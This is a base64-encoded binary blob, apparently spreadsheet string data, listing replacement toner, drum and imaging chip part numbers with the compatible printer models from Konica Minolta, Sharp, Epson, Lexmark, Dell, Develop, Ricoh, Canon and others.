ME0oVVNBLFRXKRMAAE1pbm8gQzM3MzBZKFVTQSxUVykJAABBMFg1MTUwIEsaAABNYWdpY29sb3Ig NDc1MC80NzkwLzQ3OTUgIAkAAEEwWDU0NTAgQwkAAEEwWDUzNTAgTQkAAEEwWDUyNTAgWQoAAEEw V0cwM0ggREslAABNYWdpY29sb3IgNDc1MC80NzkwLzQ3OTUgIERSVU0gY2hpcCAgCgAAQTBXRzBL SCBEQwoAAEEwV0cwRUggRE0KAABBMFdHMDhIIERZCAAAS000NzUwIEsIAABLTTQ3NTAgQwgAAEtN NDc1MCBNCAAAS000NzUwIFk8ABogCQAAS000NzUwIERLJQAATWFnaWNvbG9yIDQ3NTAvNDc5MC80 Nzk1ICBEUlVNIENISVAgIAkAAEtNNDc1MCBEQwkAAEtNNDc1MCBETQkAAEtNNDc1MCBEWQgAAEtN IEMyMCBLJQAAYml6aHViIEMyMC8yMFAvMjBQWC8yMFggIFRPTkVSIGNoaXAgIAgAAEtNIEMyMCBD NAAATWlub2x0YSBiaXpodWIgQzIwLzIwUC8yMFBYLzIwWCBibGFjayBUT05FUiBjaGlwIDhLIAgA AEtNIEMyMCBNNwAATWlub2x0YSBiaXpodWIgQzIwLzIwUC8yMFBYLzIwWCBNYWdlbnRhIFRPTkVS IGNoaXAgOEsgIAgAAEtNIEMyMCBZNQAATWlub2x0YSBiaXpodWIgQzIwLzIwUC8yMFBYLzIwWCBZ ZWxsb3cgVE9ORVIgY2hpcCA4SyAJAABLTSBDMjAgREslAABiaXpodWIgQzIwUFgvQzMwUC9DMzEg IEltYWdpbmcgY2hpcCAgCQAAS00gQzIwIERDNwAATWlub2x0YSBiaXpodWIgQzIwUFgvQzMwUC9D MzEgYmxhY2sgSW1hZ2luZyBjaGlwICAzMEsgIAkAAEtNIEMyMCBETTcAAE1pbm9sdGEgYml6aHVi IEMyMFBYL0MzMFAvQzMxIE1hZ2VudGEgSW1hZ2luZyBjaGlwIDMwSyAJAABLTSBDMjAgRFk1AABN aW5vbHRhIGJpemh1YiBDMjBQWC9DMzBQL0MzMSBZZWxsb3cgSW1hZ2luZyBjaGlwIDMwSyQAAGJp emh1YiBDMjAvMjBQLzIwUFgvMjBYIFRPTkVSIGNoaXAgICQAAGJpemh1YiBDMjBQWC9DMzBQL0Mz MSBJbWFnaW5nIGNoaXAgIAgAAEtNIEMzNSBLGwAAYml6aHViIEMzNSAgVE9ORVIgY2hpcCA2SyAg CAAAS00gQzM1IEMnAABNaW5vbHRhIGJpemh1YiBDMzUgYmxhY2sgVE9ORVIgY2hpcCA2SyAIAABL TSBDMzUgTSoAAE1pbm9sdGEgYml6aHViIEMzNSBNYWdlbnRhIFRPTkVSIGNoaXAgNksgIAgAAEtN IEMzNSBZKAAATWlub2x0YSBiaXpodWIgQzM1IFllbGxvdyBUT05FUiBjaGlwIDZLIAkAAEtNIEMz NSBESx4AAGJpemh1YiBDMzUgIEltYWdpbmcgY2hpcCAzMEsgIAkAAEtNIEMzNSBEQywAAE1pbm9s dGEgYml6aHViIEMzNSBibGFjayBJbWFnaW5nIGNoaXAgIDMwSyAgCQAAS00gQzM1IERNLAAATWlu b2x0YSBiaXpodWIgQzM1IE1hZ2VudGEgSW1hZ2luZyBjaGlwIDMwSyAJAABLTSBDMzUgRFkqAABN aW5vbHRhIGJpemh1YiBDMzUgWWVsbG93IEltYWdpbmcgY2hpcCAzMEsKAABOS003NDAwLVRDIAAA UU1ToEM3NDAwLzc0NDAvNzQ1MCBDoFRPTkVSoEtJVCAKAABOS003NDAwLVRNHgAAUU1TIEM3NDAw Lzc0NDAvNzQ1ME2gVE9ORVKgS0lUBAAANy41SwoAAE5LTTc0MDAtVFkeAABRTVOgQzc0MDAvNzQ0 MC83NDUwWaBUT05FUqBLSVQKAABOS003NDAwLVRLHgAAUU1ToEM3NDAwLzc0NDAvNzQ1MEugVE9O RVKgS0lUCgAATktNNzQwMC1PTR8AAFFNU6BDNzQwMC83NDQwLzc0NTBNoERSVU2gS0lUoFAKAABO S003NDAwLU9ZHQAAUU1ToEM3NDAwLzc0NDAvNzQ1MFmgRFJVTaBLSVQKAABOS003NDAwLU9LHwAA UU1ToEM3NDAwLzc0NDAvNzQ1MEugRFJVTaBLSVSgUAoAAE5LTTc0MDAtT0MfAABPTVMgQzc0MDAv NzQ0MC83NDUwIEMgIGRydW0ga2l0IQAIAgAgICAgICAgICAgU3VpdCBmb3IgU2hhcnAgUHJpbnRl ciATAAwAGAANABIAAEFSMDE2RlQvTlQvVC9TVC9MVBcAADUwMTUvLzUwMjAvNTMxNkUvNTMyMEUg FgAAQVIwMjAvMDIxRlQvTlQvVC9TVC9MVAkAADU1MTYvNTUyMA0AAEFSMDIxLzAyMlNULUMZAAAz MDIwRC8zODE4LzM4MjAvNDgxOC80ODIwBQAAQVIxNTA4AAAgQVIxMjBFIC8gMTUwIC8gMTU1MCAv IEFSRjE1MS9BUjE1M0UvQVIxNTYvQVJNMTUwL0FSTTE1NRIAAEFSMTUyRlQvTlQvVC9TVC9MVC4A ADEyMS8xMjFFLzEyM0UvRTE1MS9GMTUyLzE1My8xNTYvMTU3RU4vTTE1MC8xNjgJAABBUjE1M1NU LUMSAAAxNTgvMTU4Uy8xNThGLzE1OE4FAABBUjE1OBUAAEFSLTE1OC8xNThTLzE1OEYvMTU4WAUA AEFSMjAxNwAAQVItMTYyIC8gMTYzIC8gMTY0IC8gMjAxIC8gMjAyLyAyMDcgLyBNMTYwIC8gTTIw NS9BUjIwOBIAAEFSMjAyRlQvTlQvVC9TVC9MVC0AADIwMC8yMDEvTTIwNS9NMjA2L00yMDcvTTE2 MC8xNjIvMTYzLzE2NC9NMTY1IAkAAEFSMjAzU1QtQ1AAAE0xNjAvMTYzTi8yMDFOL04yMDUvMjA2 Ti9NMjA5Ti8xODE4LzE4MjAvMjYxNi8yNjE4LzI2MjAvMjcxOC8yODE4LzI4MjAvMjkxOC8yOTIx EgAAQVIyMDhGVC9OVC9UL1NUL0xUBAAAMjAzRQkAAEFSMjA5U1QtQw0AADIwOC8yMDhYLzIwOE4G AABBUjI2NkoPAAAyNTUvMjU2LzI2Ni8yNzYHAABBUjIzN1NUBQAAQVIyNzcSAABBUjI3MEZUL05U L1QvU1QvTFQsAAAyMzUvMjc1L00yMzYvTTIzNy9NMjc1L00yNzYvTTI3Ny9NMjA4L00yMDhOIAkA AEFSMjc1U1QtQxAAAE0yNzYvMjM2LzI1NS8yNzUSAABBUjMxMEZUL05UL1QvU1QvTFREAAAyMzUv Mjc1LzUxMjcvTTIwOC9NMjA4Ti9NMjM1L00yMzcvTTI1Ny9NMjc1L00yNzVOL00yNzcvTTMxNy9O Mjc1LzI3NgcAAE1YMzEyQ1QRAABNWC1NMjYxL00zNjEvTTM2MxIAAEFSNDUwRlQvTlQvVC9TVC9M VAQABBAAAAAxLjVLAQAMAB8ANwAAAAAAAAAAAAYABBAAAABDQjQzNkEBAAwAHwA3AAAAAAAAAAAA AgAEEAAAADJLAQAMAB8ANwAAAAAAAAAAAAQABBAAAAAyLjNLAQAMAB8ANwAAAAAAAAAAAAsABBAA AAA4MEEoQ0YyODBBKQEADAAfADcAAAAAAAAABQAEAAQQAAAAMi43SwEADAAfADcAAAAAAAAAAAAE AAQQAAAAMjgwQQEADAAfADcAAAAAAAAAAAACAAQQAAAANksBAAwAHwA3AAAAAAAAAAAAAwAEEAAA ADEwSwEADAAfADcAAAAAAAAAAAAQAAQQAAAAQ1JHIDMyMC8gMTIwLzcyOQEADAAfADcAAAAAAAAA AAAEAAQQAAAANi41SwEADAAfADcAAAAAAAAAAAAFAQwBABAAAABIUC1QMTAwNS9QMTAwNgpDYW5v bi0zMDE4LzMwMTAvMzEwMC8zMTUwL0hQLVAxNTA1L00xMTIwL00xMTIwbi9NMTUyMm4KQ2Fub24t MzI1MC9IUC0xNTY2LzE2MDYvTTE1MzYKQ2Fub24tSUMgTUY0MTQwLzQ0NTAvSFAtUDQwMTQvNDAx NG4vNDAxNW4KSFAtUDQwMTV0bi80MDE1eC80NTE1bgpIUC1QNDUxNXRuLzQ1MTV4LyBIUC1QMzAx NS8zMDE1RC8zMDE1Ti8zMDE1WC8gSFAtUDIwMzAvMjAzNS8yMDUwLzIwNTUKQ2Fub24tNjMwMC82 NjUwICB1bml2ZXJzYWz7AAgAAQAMAB8ANwAAAAAAAAAAAGMADAEAEAAAAEhQLUxhc2VyamV0IFBy byA0MDAgTTQwMWQKSFAtTGFzZXJqZXQgUHJvIDQwMCBNNDAxbi9NNDAxZG4gCkhQLUxhc2VyamV0 IFBybyA0MDAgTTQyNWR3L000MjVkbiAgbmV3IV4ACQABAAwAHwA3AAAAAAAAAAAA5wAMAQAQAAAA SFAtMTU2Ni8xNjA2L00xNTM2CkNhbm9uLUlDIE1GNDE0MC80NDUwL0hQLVAxMDA3L1AxMDA4LwpI UC1NMTEzNi8xMjEzbmYvMTIxNm5maC9IUC00MDE1bi80MDE1dG4vNDAxNXgKSFAtNDUxNW4vNDUx NXRuLzQ1MTV4L0hQLVAxNTA1L00xMTIwL00xMTIwbi9NMTUyMm4KQ2Fub24tMzI1MC9IUC1QMzAx NS8zMDE1RC8zMDE1Ti8zMDE1WC9IUC1QMjA1MC8yMDU1CkNhbm9uLTYzMDAvNjY1MCAgdW5pdmVy c2Fs3gAIAAEADAAfADcAAAAAAAAADABVAQwBABAAAABIUC1QMTAwNS9QMTAwNgpDYW5vbi0zMDE4 LzMwMTAvMzEwMC8zMTUwL0hQLVAxNTA1L00xMTIwL00xMTIwbi9NMTUyMm4KQ2Fub24tMzI1MC9I UC0xNTY2LzE2MDYvTTE1MzYKQ2Fub24tSUMgTUY0MTQwLzQ0NTAvSFAtUDQwMTQvNDAxNG4vNDAx NW4KSFAtUDQwMTV0bi80MDE1eC80NTE1bgpIUC1QNDUxNXRuLzQ1MTV4LyBIUC1QMzAxNS8zMDE1 RC8zMDE1Ti8zMDE1WC8gSFAtUDIwMzAvMjAzNS8yMDUwLzIwNTUKIEhQLUxhc2VyamV0IFBybyA0 MDAgTTQwMWQKSFAtTGFzZXJqZXQgUHJvIDQwMCBNNDAxbi9NNDAxZG4gCkhQLUxhc2VyamV0IFBy byA0MDAgTTQyNWR3L000MjVkbiAgIHVuaXZlcnNhbEsBCAABAAwAHwA3AAAAAAAAAAAANAAATTM1 MC9NMzUwTi9NMzUwVS9QMzUwLzQ1MC9NNDIwL000NTAvTTQ1ME4vTTQ1MFUvUDQ1MBIAAEFSNDU1 RlQvTlQvVC9TVC9MVAsAAE0zNTFOL000NTFOBQAAQVI0NTYaAABBUi1NMzUxVS9NNDUxVS9NMzUx Ti9NNDUxThIAAEFSNjIwRlQvTlQvVC9TVC9MVBcAAE1YNTUwL01YNjIwL01YNzAwL01YNzIwCQAA QVI2MjFTVC1DEQAATVg1NTAvTVg2MjAvTVg3MDAIAABBUjM1MTFTVAsAAEFSMzUxMS80NTExBgAA QVI1MDE1KgAAQVIgNTAxNSAvIDUwMTVOIC8gNTEyMCAvIDUwMjAvIDUzMTYgLyA1MzIwBgAATVgy M0JLCAAATVgtMjMxMFUGAABNWDIzIEMGAABNWDIzIE0GAABNWDIzIFkGAABNWDI3QksXAABNWDIw MDBML01YMjMwME4vTVgyNzAwTgYAAE1YMjcgQzUAAE1YMjAwMEwvTVgyMzAwTi9NWDI3MDBOL01Y MzUwMC9NWDQ1MDAvTVgzNTAxTi9NWDQ1MDFOBgAATVgyNyBNBgAATVgyNyBZBgAATVg0NUJLHQAA TVgzNTAwL01YNDUwMC9NWDM1MDFOL01YNDUwMU4LAABNWDI2L01YMzFCSxkAAE1YMjYwMU4vMzEw MU4vMjYwME4vMzEwME4LAABNWDI2L01YMzEgQwsAAE1YMjYvTVgzMSBNCwAATVgyNi9NWDMxIFkG AABNWDcwQksRAAA1NTAwTi82MjAwTi83MDAwTgYAAE1YNzAgQwYAAE1YNzAgTQYAAE1YNzAgWQYA AE1YMzZCSxsAACBNWC0yNjEwTi9NWC0zMTEwTi9NWC0zNjEwTgYAAE1YMzYgQwYAAE1YMzYgTQYA AE1YMzYgWQYAAE1YNTFCSx8AAE1YNDExME4vTVg0MTExTi9NWDUxMTBOL01YNTExMU4GAABNWDUx IEMGAABNWDUxIE0GAABNWDUxIFkcAAgCACAgICAgIFN1aXQgZm9yIEVwc29uIFByaW50ZXIPAAwA FQANAAcAAFMwNTAxNjcOAABFUEwtNjIwMEwvNjIwMAcAAFMwNTAxNjYHAABTMDUxMDc5CAAARVBM LTEyMjAHAABTTzUxMTE5CAAARVBMLTIxODAHAABTMDUxMDc3CQAARVBMLU4yMTIwCAAATFBBM0VU QzcMAABMUC04MTAwLzg3MDAJAAkBAEwAUABBADMARQBUAEMAOAAAMAgADgAJAABMUEEzRVRDMTIS AABMUC04OTAwLzc3MDAvNzUwMCAKAAkBAEwAUABBADMARQBUAEMAMQAzAAAwCQAOAAcAAFMwNTEw OTAOAABFUEwtMjAyMC9OMjUwMAMACQEANgBLAAAwAgAOAAcAAFMwNTEwOTEOAABFUEwtTjI1NTAv MjUwMAkAAFMxM1MwNTExMQoAAEVQTC1OMzAwMCAHAABTTzUxMTExBwAAUzA1MTA4MhoAAEFjdUxh c2VyIEM3MDAwL0M4NjAwKERydW0pBAAJAQA1ADAASwAAMAMADgAHAABTMDUxMDczFAAAQWN1TGFz ZXIgQzg1MDAoRHJ1bSkHAABTMDUxMDYxFQAARVBMLUM4MDAwL0M4MjAwKERydW0pBwAAUzA1MTA2 MAkAAEVQTC1ONDAwMAkACQEATABQAEEAMwBFAFQAQwA1AAAwCAAOAAcAAExQLTk2MDAJAABMUEEz RVRDMTEHAABMUC05NDAwCgAAQzEzUzA1MDUyMgYAAE0xMjAwIAoAAEMxM1MwNTA1MjMEAAAzLjJL BwAAUzA1MDQzNQwAAE0yMDAwRC8yMDEwRAgAAFMwNTA1ODMgCgAATTIzMDAvTVgyMAcAAFMwNTA1 ODIHAABTMDUxMTcwBQAATTQwMDAGAABFUDE0MDAPAABBY3J1bGFzZXIgTTE0MDAMAABDMTNTMDUw MTkwIEshAABBY3VsYXNlciBDMTEwMC9DMTAwTi9DWDExTi9DWDExRiAMAABDMTNTMDUwMTg5IEMM AABDMTNTMDUwMTg4IE0MAABDMTNTMDUwMTg3IFkLAABDMTNTMDUxMTA0ICsAAEFjdWxhc2VyICBD MTEwMC9DMTAwTi9DWDExTi9DWDExRiBEcnVtIHVuaXQMAABDMTNTMDUwMjEzIEsRAABBY3VsYXNl ciBDMzAwME4gIAwAAEMxM1MwNTAyMTIgQwwAAEMxM1MwNTAyMTEgTQwAAEMxM1MwNTAyMTAgWQwA AEMxM1MwNTAxNDkgSw8AAEFjdWxhc2VyIEM0MTAwIAwAAEMxM1MwNTAxNDYgQwwAAEMxM1MwNTAx NDcgTQwAAEMxM1MwNTAxNDggWQoAAEMxM1MwNTAyNDUQAABBY3VsYXNlciBDNDIwME4gCgAAQzEz UzA1MDI0NAoAAEMxM1MwNTAyNDMKAABDMTNTMDUwMjQyDAAAQzEzUzA1MTE2MSBLDwAAQWN1bGFz ZXIgQzI4MDAgDAAAQzEzUzA1MTE2MCBDDAAAQzEzUzA1MTE1OSBNDAAAQzEzUzA1MTE1OCBZDAAA QzEzUzA1MTEyNyBLDgAAQWN1bGFzZXIgQzM4MDAEAAA5LjVLDAAAQzEzUzA1MTEyNiBDDAAAQzEz UzA1MTEyNSBNDAAAQzEzUzA1MTEyNCBZDAAAQzEzUzA1MDMxOSBLDgAAQWN1bGFzZXIgQ1gyMU4E AAA0LjVLDAAAQzEzUzA1MDMxOCBDDAAAQzEzUzA1MDMxNyBNDAAAQzEzUzA1MDMxNiBZDAAAQzEz UzA1MDIyOSBLDwAAQWN1bGFzZXIgQzI2MDAgDAAAQzEzUzA1MDIyOCBDDAAAQzEzUzA1MDIyNyBN DAAAQzEzUzA1MDIyNiBZDAAAQzEzUzA1MDU1NyBLEAAAQWN1bGFzZXIgQzE2MDAgIAwAAEMxM1Mw NTA1NTYgQwwAAEMxM1MwNTA1NTUgTQwAAEMxM1MwNTA1NTQgWQcAAFMwNTA2MTQaAABjMTcwMC9D MTc1MG4vQzE3NTBXL0NYMTdORgcAAFMwNTA2MTMHAABTMDUwNjEyBwAAUzA1MDYxMQcAAEMzOTAw IEsfAAgBAEFjdWxhc2VyIEMzOTAwIHRvbmVyIGNoaXAgIG5ldyEaAAkABwAAQzM5MDAgQwcAAEMz OTAwIE0HAABDMzkwMCBZCAAAQzM5MDAgREsfAAgBAEFjdWxhc2VyIEMzOTAwIGRydW0gY2hpcCAg IG5ldyEaAAkACAAAQzM5MDAgREMIAABDMzkwMCBETQgAAEMzOTAwIERZCgAAQzEzUzA1MDYzMBsA CAEAQWN1TGFzZXIgQzI5MDBOL0MyOTAwICBuZXchFgAJAAoAAEMxM1MwNTA2MjkKAABDMTNTMDUw NjI4CgAAQzEzUzA1MDYyNwcAAFMwNTA0NzcZAAgBAEM5MjAwTiAgVG9uZXIgY2hpcCAgIG5ldyET AAkABwAAUzA1MDQ3NgcAAFMwNTA0NzUHAABTMDUwNDc0BwAAUzA1MTE3OBcACAEAQzkyMDBOIERS VU0gY2hpcCAgIG5ldyESAAkABwAAUzA1MTE3NwcAAFMwNTExNzYHAABTMDUxMTc1HQAIAgAgICAg U3VpdCBmb3IgTGV4bWFyayBQcmludGVyIA0ADAAVAA0ABQAARTEyMFUFAABFMjUwVQUAAEUzNTBV BAAARTM1MAUAAEU0NTBVBAAARTQ1MAQAAFgzNDAUAABFMjMyLzMzMC8zMzIvMzQwLzM0MiQAAFgz NDBtZnAvWDM0Mm1mcC9FMjMyLzMzMC8zMzIvMzQwLzM0MgUAAEUzMjBVCAAARTMyMC8zMjIFAABF MzIxVQwAAEUzMjEvMzIzLzIyMAUAAEUzMzBVGAAARTIzMC8yMzIvMzMwLzMzMi8zNDAvMzQyBQAA VDQyMFUMAABUNDIwLElCTTEyMjIFAABUNDMwVRQAAFQ0MzAsSUJNMTQyMiwgTFAzMjMyBQAAVDUy MFUWAABUNTIwLzUyMiwgSUJNMTEyMC8xMTI1BQAAVDYzMFUZAABUNjMwLzYzMi82MzQsIFNGNDYx MC80NjIwBQAAVDY0MFUTAABUNjQwLzY0Mi9UNjQ0LCBYNjQyBQAAVDY0NFUEAABUNjQ0BAAAVDY0 MAgAAFgyMDNBMTFHCQAAWDIwMy9YMjA0CAAAWDI2NEEyMUcPAABYMjY0L1gzNjMvWDM2NCAIAABY MjY0SDIxRwkAADAwQzUyMjBLUxMAACAgIEM1MjAvNTIyLzUyNC81MzAJAAAwMEM1MjIwQ1MJAAAw MEM1MjIwTVMJAAAwMEM1MjIwWVMKAAgBAFcgODQwIG5ldyEGAAkACAAAVzg1MEgyMUcUAAgBAFcg ODUwL1g4NTAvWDg1NCBuZXchDwAJAAgAAFc4NTBIMjJHHwAIAQBXIDg1MC9YODUwL1g4NTQgZHJ1 bSBjaGlwcyBuZXchGgAJAAgAAFgyNjRIMTFHDAAAWDI2NC8zNjMvMzY0CAAAQzkzMEgyS0cNAAgB AEM5MzAvOTM1IG5ldyEIAAkACAAAQzkzMEgyQ0cIAABDOTMwSDJNRwgAAEM5MzBIMllHCAAAWDk0 NVgyS0cPAAgBAFg5NDBlLzk0NWUgbmV3IQoACQAIAABYOTQ1WDJDRwgAAFg5NDVYMk1HCAAAWDk0 NVgyWUcIAABDOTMwWDczRyIACAEAWDkzMC85MzUvOTQwZS85NDVlIGRydW0gY2hpcHMgbmV3IR4A CQADAAA1M0sSAABDOTUwWDJLRyhDVDIwMTY0NCkPAAgBAEM5NTAsIFg5NTAgbmV3IQoACQASAABD OTUwWDJDRyhDVDIwMTY0NSkSAABDOTUwWDJNRyhDVDIwMTY0NikSAABDOTUwWDJZRyhDVDIwMTY0 NykSAABDOTUwWDcxRyhDVDM1MDg3OCkaAAgBAEM5NTAsIFg5NTAgZHJ1bSBjaGlwcyBuZXchFQAJ ABsACAIAICAgICBTdWl0IGZvciBEZWxsIFByaW50ZXIgDgAKABMACwAIAAAzMTAtMzU0MwUAAFAx NTAwCAAAMzEwLTU0MTYOAAAxNjAwbiBNRlAvMTY1MAgAADMxMC01NDE3CAAAMzEwLTU0MDIIAAAz MTAtNzAyNQgAADMxMC04NzA5CAAAMzEwLTM2NzQFAABTMjUwMAcAADhTWTE4MTUIAAAxODE1IE1G UAgAADMxMC03OTQ1CAAAMzMwLTIyMDgLAAAyMzM1LzIzMzVETggAADMzMC0yMjA5CAAAMzMxLTA2 MTEGAAAyMzU1RE4IAAAzNDEtMjkzOAgAADM0MS0yOTM5CAAAMzMwLTIwNDQGAAA1MzMwZG4IAAAz MzAtMjA0NQgAADMxMC00MTMzDAAAIE01MjAwL1c1MzAwBwAAMjFrLzMyaw4AADExMzAvMTEzMy8x MTM1CAAAMjI0LTk2MzIEAAAxMTNYCAAAMzMwLTMxMTAGAAA3MzMwZG4IAAAzMzAtMzExMQgAADMz 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 byArNDUxLzU1MC82NTAgVG9uZXIDAAAyN0sKAABpbmVvICs0NTFEHAAARGV2ZWxvcCBJbmVvICs0 NTEvNTUwLzY1MCBJVQQAADMwMEsKAABJbmVvICs0NTJUHwAARGV2ZWxvcCBJbmVvICs0NTIvNTUy LzY1MiBUb25lcgoAAEluZW8gKzQ1MkQcAABEZXZlbG9wIEluZW8gKzQ1Mi81NTIvNjUyIElVBAAA Mjg1SwoAAEluZW8gKzIyMEQcAABEZXZlbG9wIEluZW8gKzIyMC8yODAvMzYwIElVDAAASW5lbyAr MjIwRGV2HQAARGV2ZWxvcCBJbmVvICsyMjAvMjgwLzM2MCBEZXYFAAAyMDAwSwkAAEluZW8gKzIw VCIAAERldmVsb3AgSW5lbyArMjAvMjBQLzMwUC8zMVAgVG9uZXIJAABJbmVvICsyMEQfAABEZXZl bG9wIEluZW8gKzIwLzIwUC8zMFAvMzFQIElVCQAASW5lbyArMjVUHQAARGV2ZWxvcCBJbmVvICsy NS8zNS8zNVAgVG9uZXIJAABJbmVvICsyNUQaAABEZXZlbG9wIEluZW8gKzI1LzM1LzM1UCBJVRUA ACAgICBTdWl0IGZvciBQcmludGVyICgAAFNQMTAwMFMvRkFYMTE0MEwvRkFYMTE4MEwvTmFzaHVh dGVjIEYxMTESAABSSFNQMTEwMEhFKFI3MDU2MSkGAABTUDExMDANAABBUDE5MTAvTFAxOTAwEgAA QVAxOTEwL1NpbmRvTFAxOTAwBgAATFAyMjAwBgAATUYyMjAwCwAAU2luZG9NRjIyMDAHAABicCAy MCAgDAAAQWZpY2lvIGJwIDIwCwAAQWZpY2lvIDUxMDAPAAAgQWZpY2lvIEFQMzIwMCAOAAAgQWZp Y2lvIEFQMzMwMAQAADIwMEwIAABGWCAyMDBMIAQAAEJQMjAIAABBQzIwNU1GUAkAADQxMjQ3Ni83 NwkAAEFQNDAwLzQxMAUAAEMyMjBLFAAAQWZpY2lvIFNQIEMyMjAvQzIyMiAFAABDMjIwTQUAAEMy MjBDBQAAQzIyMFkNAABJUFNpTyBTUCBDMjIwGQAASVBTaU8gU1AgQzQzMEEsIFNQIEM0MzBETjoA AElQU2lPIFNQIEM3MTAvIElQU2lPIFNQIEM3MTEvSVBTaU8gIFNQIEM3MjAgL0lQU2lPIFNQIEM3 MjFSAABJUFNpTyBTUCBDODEwIC8gSVBTaU8gU1AgQzgxME0gLyBJUFNpTyBTUCBDODEwLU1FIC8g SVBTaU8gU1AgQzgxMSAvIElQU2lPIFNQIEM4MTFNPwAASVBTaU8gU1AgQzgyMCAvIElQU2lPIFNQ IEM4MjBNIC8gSVBTaU8gU1AgQzgyMSAvIElQU2lPIFNQIEM4MjFNDAAAQUZJQ0lPLUMzMjI4GAAA QUZJQ0lPIEMzMjI4L0MzMjM1L0MzMjQ1DgAAQUZJQ0lPLU1QIEQ0MDAnAABBRklDSU8gTVAtRDQw MC80MDEsIEJJWkhVQiBDMjIwLzI4MC8zNjADAAAyOUseAABBRklDSU8gTVAtQzIwMzAvMjA1MC8y MzUwLzI1NTAUAABBRklDSU8gTVAtQzI4MDAvMzMwMBUAAEFGSUNJTyBNUC1DMzUwMC9DNDUwMBUA AEFGSUNJTyBNUC1DMjUwMC9DMzAwMA8AAEFGSUNJTyBNUC1DNTAwMA4AAFNQIEM0MzAvQzQzMUJL DQAAU1AgQzQzMC80MzFETg4AAFNQIEM0MzAvQzQzMSBDDgAAU1AgQzQzMC9DNDMxIE0OAABTUCBD NDMwL0M0MzEgWQsAAENMIEM0MDAwIEJLEwAAQ0w0MDAwL1NQIEM0MTAvQzQxMQoAAENMIEM0MDAw IEMKAABDTCBDNDAwMCBNCgAAQ0wgQzQwMDAgWQsAAENMIEM4MDAwIEJLBwAAIENMODAwMAoAAENM IEM4MDAwIEMKAABDTCBDODAwMCBNCgAAQ0wgQzgwMDAgWQsAAENMIEM3MDAwIEJLBgAAQ0w3MDAw CgAAQ0wgQzcwMDAgQwoAAENMIEM3MDAwIE0KAABDTCBDNzAwMCBZJgAIAgAgICAgICAgICBTdWl0 IGZvciAgQ2Fub24gUHJpbnRlciBNb2RlbBIACgAZAAsABgAAQ0dSMzI4UgAAIGlDIE1GNDU3MGRu 